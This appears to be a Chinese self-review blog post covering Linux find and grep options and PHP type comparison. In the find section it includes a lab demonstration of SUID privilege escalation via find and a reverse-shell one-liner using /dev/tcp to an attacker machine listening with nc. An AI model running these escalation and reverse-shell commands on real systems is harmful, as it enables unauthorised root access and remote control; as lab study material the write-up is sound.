5.20知识复习(用来自我复习)

1、find的使用:

注:find命令默认接的命令是-print,它默认以\n将找到的文件分隔。可以使用-print0来使用\0分隔。

$ mkdir /tmp/a
$ touch /tmp/a/{1..4}.log

find /tmp/a -print0 
/tmp/a/tmp/a/1.log/tmp/a/2.log/tmp/a/3.log/tmp/a/4.log/tmp/a/netcat-0.7.1.tar.gz/tmp/a/test/tmp/a/grep.txt[root@master a]# 

1.1、文件名的搜索:

常用的两个是-name和-path。

-name:

$ find /tmp -name "*.log"

 -path:

[root@master tmp]# find /tmp -path "*a*/*.log"

通配符:

配合通配符[]时应该注意是基于字符顺序的,大小写字母的顺序是a-z –> A-Z,指定[a-z]表示小写字母a-z,同理[A-Z],而[a-zA-Z]和[a-Z]都表示所有大小写字母。当然还可以指定[a-A]表示a-z外加一个A。  

[root@master tmp]# find /tmp -name "[a-C].sh"
/tmp/a.sh
/tmp/b.sh
/tmp/c.sh
/tmp/C.sh

 从上面结果可以看出,其实[]只能匹配单个字符,[0-9]表示0-9的数字,[1-20]表示[1-2]外加一个0,[1-23]表示[1-2]外加一个3,[1-22-3]表示[1-2]或[2-3],迷惑点就是看上去是大于10的整数,其实是两个或者更多的单个数字组合体。也可以用这种方法表示多种匹配:[1-2,2-3]。

[root@master /]# find /tmp -name "[1-23].sh" 
/tmp/1.sh
/tmp/2.sh
/tmp/3.sh

[root@master tmp]# find /tmp -name "[1-2,2-3].sh" 
/tmp/1.sh
/tmp/2.sh
/tmp/3.sh

1.2、根据文件类型搜索:-type

一般需要搜索的文件类型就只有普通文件(f),目录(d),链接文件(l)。

[root@master tmp]# find /tmp -type f -name "*.sh"
/tmp/1.sh
/tmp/2.sh
/tmp/a.sh
/tmp/b.sh



[root@master tmp]# find /tmp -type d -name "*.sh"
/tmp/nnn.sh

1.3、根据文件的时间戳搜索

最基础的时间戳包括:-atime(访问时间)/-mtime(修改时间)/-ctime(权限修改时间)。

[root@master tmp]# find /tmp -type f -mtime -3 -name "*.sh"
/tmp/1.sh
/tmp/2.sh
/tmp/3.sh
/tmp/11.sh
/tmp/22.sh
/tmp/a.sh
1.3.1、额外知识点:

在应急响应中,我们可以通过查看mtime,MD5值来查看可能被上传后门的软件:

MD5值:

可以发现,同一个文件在其修改前后,MD5的值是不同的。

mtime:

或者我们可以通过1.3中学到的知识来查看认识的文件在短时间内是否被修改。

1.4、根据文件大小搜索:-size

[root@master tmp]# find /tmp/a -type f -size +10k
/tmp/a/netcat-0.7.1.tar.gz

1.5、 根据权限搜索:-perm

[root@master a]# chmod u+x 1.log 
[root@master a]# ll
-rwxr--r--. 1 root root      8 5月  20 11:20 1.log

[root@master a]# find /tmp -type f -perm -0700 -name '*.log'
/tmp/a/1.log

扩展:根据权限问题,我们会引入一个渗透知识,即shell的反弹

1.5.1、借用前辈博客的一些知识点:

前辈的博客【转】反弹Shell,看这一篇就够了-CSDN博客

正向连接

nc -nlvp 2333


假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。

反向连接
那么为什么要用反弹shell呢?

目标机因防火墙受限,目标机器只能发送请求,不能接收请求。•目标机端口被占用。•目标机位于局域网,或IP会动态变化,攻击机无法直接连接。•对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。•…

对于以上几种情况,我们是无法利用正向连接的,要用反向连接。

那么反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。

漏洞复现:

1、我们启动两台虚拟机,一台centos7版本,一台ubuntu版本。

首先,我们先让centos7当服务器端,ubuntu当攻击端,监听centos7发送过来的信息。

ubuntu:

nc -nlvp 2333

centos7服务器提权:

#提权
[root@www ~]# chmod u+s /usr/bin/find
#切换用户
[root@www ~]# su nnn
#查看权限
[nnn@master a]$ ls -al /usr/bin/find
-rwsr-xr-x. 1 root root 199304 10月 31 2018 /usr/bin/find
[nnn@master a]$ find /etc/passwd -exec whoami \;
root
#做反弹shell
[nnn@master a]$ find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.118.131/2333 0>&1 \;

此时,我们查看攻击端,发现已经提权成功:

还有 webshell反弹的知识详细过程(引用两位前辈的知识点分析,侵权必删):

反弹Shell的方式和详解-CSDN博客(第一位前辈的博客用例十分详细,建议观看)

浅谈反弹shell_nc反弹shell-CSDN博客(这位前辈介绍了为什么ubuntu当服务器端时,可能会出现的shell反弹失败的案例。)

 

2、grep的使用:

2.1、grep的方法及使用:

Linux系统中grep命令是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来(匹配到的标红)。

演示:
[root@master a]# cat test
aaa
bbb
ccc
ddd
eee
FFF

1、-  -A<显示行数>:除了显示符合范本样式的那一列之外,并显示该行之后的内容。
[root@master a]# grep -A2 c test
ccc
ddd
eee

2-  -B<显示行数>:除了显示符合样式的那一行之外,并显示该行之前的内容。
[root@master a]# grep -B2 c test
aaa
bbb
ccc

3、-  -C<显示行数>:除了显示符合样式的那一行之外,并显示该行之前后的内容。
[root@master a]# grep -C2 c test
aaa
bbb
ccc
ddd
eee

4、-  -c:统计匹配的行数
[root@master a]# grep -c a test
1
5、-  **-e :实现多个选项间的逻辑or 关系**
[root@master a]# grep -e a -e c test
aaa
ccc

6、-  -f FILE:从FILE获取PATTERN匹配(从test文件中获取aaa与test1的aaaa相匹配)
[root@master a]# grep -f test test1
aaaa

7、-  -i --ignore-case #忽略字符大小写的差别。
   -  -n:显示匹配的行号
[root@master a]# grep -in f test
6:FFF
7:fff

8、-  -o:仅显示匹配到的字符串
[root@master a]# grep -o f test
f
f
f

9、-  **-v:显示不被pattern 匹配到的行,相当于[^] 反向匹配**
[root@master a]# grep -v a test
bbb
ccc
ddd
eee
FFF
fff

10、-  -w :匹配 整个单词
[root@master a]# grep -w fff test
fff
2.2、正则的方法及案例:

在python中的运用:

正则表达式 - 白月黑羽 (byhy.net)(又是一位大佬的知识总结,本人有点懒,都是总结的别人的东西,等有时间会进行总结补充)

3、php中的类型比较:

PHP 类型比较

松散比较: == 比较,只比较值,不比较类型。
严格比较:=== 比较,除了比较值,也比较类型。

大佬的总结笔记,引用(PHP 类型比较_php只想比较数据类型-CSDN博客

1、0 的类型是 int,
2、false的类型是bool
3、null 的类型是 NULL
4、'0' 的类型是string
5、''的类型也是string

致谢:

感谢大佬们的无私的分享他们的知识,我也会秉持着精神继续下去。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值